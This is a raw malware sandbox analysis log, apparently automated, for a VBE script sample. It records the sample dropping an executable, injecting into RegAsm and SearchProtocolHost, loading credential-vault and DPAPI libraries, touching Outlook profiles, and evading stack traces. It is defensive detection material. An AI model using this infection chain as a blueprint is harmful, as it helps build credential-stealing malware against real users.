Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03750274	6_2_03750274
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_037512ED	6_2_037512ED
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036CB2C0	6_2_036CB2C0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B52A0	6_2_036B52A0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036E516C	6_2_036E516C
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0369F172	6_2_0369F172
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0377B16B	6_2_0377B16B
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036A0100	6_2_036A0100
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0374A118	6_2_0374A118
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_037681CC	6_2_037681CC
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036BB1B0	6_2_036BB1B0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_037701AA	6_2_037701AA
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376F0E0	6_2_0376F0E0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_037670E9	6_2_037670E9
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B70C0	6_2_036B70C0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0375F0CC	6_2_0375F0CC
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B0770	6_2_036B0770
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036D4750	6_2_036D4750
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036AC7C0	6_2_036AC7C0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376F7B0	6_2_0376F7B0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036CC6E0	6_2_036CC6E0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_037616CC	6_2_037616CC
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03767571	6_2_03767571
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B0535	6_2_036B0535
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0374D5B0	6_2_0374D5B0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03770591	6_2_03770591
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036A1460	6_2_036A1460
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03762446	6_2_03762446
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376F43F	6_2_0376F43F
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0375E4F6	6_2_0375E4F6
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376FB76	6_2_0376FB76
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376AB40	6_2_0376AB40
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036EDBF9	6_2_036EDBF9
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03766BD7	6_2_03766BD7
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036CFB80	6_2_036CFB80
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03723A6C	6_2_03723A6C
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03767A46	6_2_03767A46
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376FA49	6_2_0376FA49
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0375DAC6	6_2_0375DAC6
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036F5AA0	6_2_036F5AA0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0374DAAC	6_2_0374DAAC
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036AEA80	6_2_036AEA80
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036C6962	6_2_036C6962
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B9950	6_2_036B9950
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036CB950	6_2_036CB950
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B29A0	6_2_036B29A0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0377A9A6	6_2_0377A9A6
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B2840	6_2_036B2840
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036BA840	6_2_036BA840
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B38E0	6_2_036B38E0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036DE8F0	6_2_036DE8F0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036968B8	6_2_036968B8
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03724F40	6_2_03724F40
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036D0F30	6_2_036D0F30
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376FF09	6_2_0376FF09
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036BCFE0	6_2_036BCFE0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036A2FC8	6_2_036A2FC8
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376FFB1	6_2_0376FFB1
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B1F92	6_2_036B1F92
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B0E59	6_2_036B0E59
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376EE26	6_2_0376EE26
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376EEDB	6_2_0376EEDB
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B9EB0	6_2_036B9EB0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376CE93	6_2_0376CE93
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036C2E90	6_2_036C2E90
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03767D73	6_2_03767D73
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B3D40	6_2_036B3D40
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03761D5A	6_2_03761D5A
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036BAD00	6_2_036BAD00
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036AADE0	6_2_036AADE0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036CFDC0	6_2_036CFDC0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036C8DBF	6_2_036C8DBF
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03729C32	6_2_03729C32
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036B0C00	6_2_036B0C00
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0376FCF2	6_2_0376FCF2
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_036A0CF2	6_2_036A0CF2
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_03750CB5	6_2_03750CB5
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E422A0	6_2_02E422A0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E3D3B0	6_2_02E3D3B0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E3B38D	6_2_02E3B38D
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E3B390	6_2_02E3B390
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E3D190	6_2_02E3D190
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E3B4E0	6_2_02E3B4E0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E3B4D4	6_2_02E3B4D4
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E43AFA	6_2_02E43AFA
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E43B40	6_2_02E43B40
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E43B3B	6_2_02E43B3B
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E45940	6_2_02E45940
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_02E5BFC0	6_2_02E5BFC0
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0346E344	6_2_0346E344
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0346E7FC	6_2_0346E7FC
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0346E466	6_2_0346E466
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0346CB73	6_2_0346CB73
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0346CAEA	6_2_0346CAEA
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: 6_2_0346D8C8	6_2_0346D8C8

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: String function: 036F7E54 appears 88 times
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: String function: 0371EA12 appears 84 times
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: String function: 0369B970 appears 266 times
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: String function: 036E5130 appears 36 times
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Code function: String function: 0372F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02F37E54 appears 96 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02EDB970 appears 268 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02F5EA12 appears 86 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02F6F290 appears 105 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 02F25130 appears 36 times

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBE@9/3@15/13

Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Mutant created: NULL

Source: C:\Windows\System32\wscript.exe

File created: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: SearchProtocolHost.exe, 00000006.00000003.1757397257.00000000030F6000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3768386614.0000000003117000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3768386614.0000000003146000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3768386614.0000000003122000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1758828378.0000000003117000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DOC_114542366.vbe

ReversingLabs: Detection: 18%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\DOC_114542366.vbe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe "C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe"
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Process created: C:\Windows\SysWOW64\SearchProtocolHost.exe "C:\Windows\SysWOW64\SearchProtocolHost.exe"
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe "C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Process created: C:\Windows\SysWOW64\SearchProtocolHost.exe "C:\Windows\SysWOW64\SearchProtocolHost.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: vbscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msdart.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\temp_u8gpg.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: tquery.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\SearchProtocolHost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3743-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\SearchProtocolHost.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: DOC_114542366.vbe

Static file information: File size 1712053 > 1048576

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: zfEzkYXCOLr.exe, 00000005.00000000.1497037185.0000000000DEE000.00000002.00000001.01000000.00000009.sdmp, zfEzkYXCOLr.exe, 00000007.00000002.3775116612.0000000000DEE000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: wntdll.pdbUGP source: RegAsm.exe, 00000003.00000002.1575193148.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3776253990.000000000380E000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3776253990.0000000003670000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1577071302.00000000034C3000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1575159803.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: RegAsm.exe, RegAsm.exe, 00000003.00000002.1575193148.0000000002EB0000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, SearchProtocolHost.exe, 00000006.00000002.3776253990.000000000380E000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000002.3776253990.0000000003670000.00000040.00001000.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1577071302.00000000034C3000.00000004.00000020.00020000.00000000.sdmp, SearchProtocolHost.exe, 00000006.00000003.1575159803.000000000331A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: SearchProtocolHost.pdbUGP source: zfEzkYXCOLr.exe, 00000005.00000003.1514614257.00000000005BB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: SearchProtocolHost.pdb source: zfEzkYXCOLr.exe, 00000005.00000003.1514614257.00000000005BB000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: VXCVY2334.pdb source: temp_u8gpg.exe, 00000002.00000000.1408500684.0000000000D32000.00000002.00000001.01000000.00000006.sdmp, temp_u8gpg.exe.0.dr

Source: temp_u8gpg.exe.0.dr

Static PE information: 0xCB61099E [Tue Feb 15 07:05:02 2078 UTC]

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040203D push ebp; ret	3_2_0040203E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004129B0 push edi; iretd	3_2_004129BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004129B3 push edi; iretd	3_2_004129BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00402205 push edx; iretd	3_2_00402208
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00412A0A push edi; iretd	3_2_004129BF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040DB1B pushfd ; ret	3_2_0040DB1C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00419320 push ebx; retf	3_2_0041936D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00403480 push eax; ret	3_2_00403482
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004024B1 push ds; ret	3_2_004024B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00404D48 push edx; ret	3_2_00404D4B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D757 push ecx; ret	3_2_0040D772
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040870B push dword ptr [edx]; ret	3_2_00408710
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_00414FE5 push edx; iretd	3_2_00414FFC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_004017F6 push ds; iretd	3_2_004017FE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D78C push ecx; ret	3_2_0040D772
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_0040D791 push ecx; ret	3_2_0040D772
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 3_2_02EE09AD push ecx; mov dword ptr [esp], ecx	3_2_02EE09B6
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_05798469 push ecx; ret	5_2_05798484
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579341D push dword ptr [edx]; ret	5_2_05793422
Source: C:\Program Files (x86)\DkgTwkShXHuYDwaqqanQdFDSSNoagfNaOHzsMlnyQXYDHeHS\zfEzkYXCOLr.exe	Code function: 5_2_0579FCF7 push edx; iretd	5_2_0579FD0E
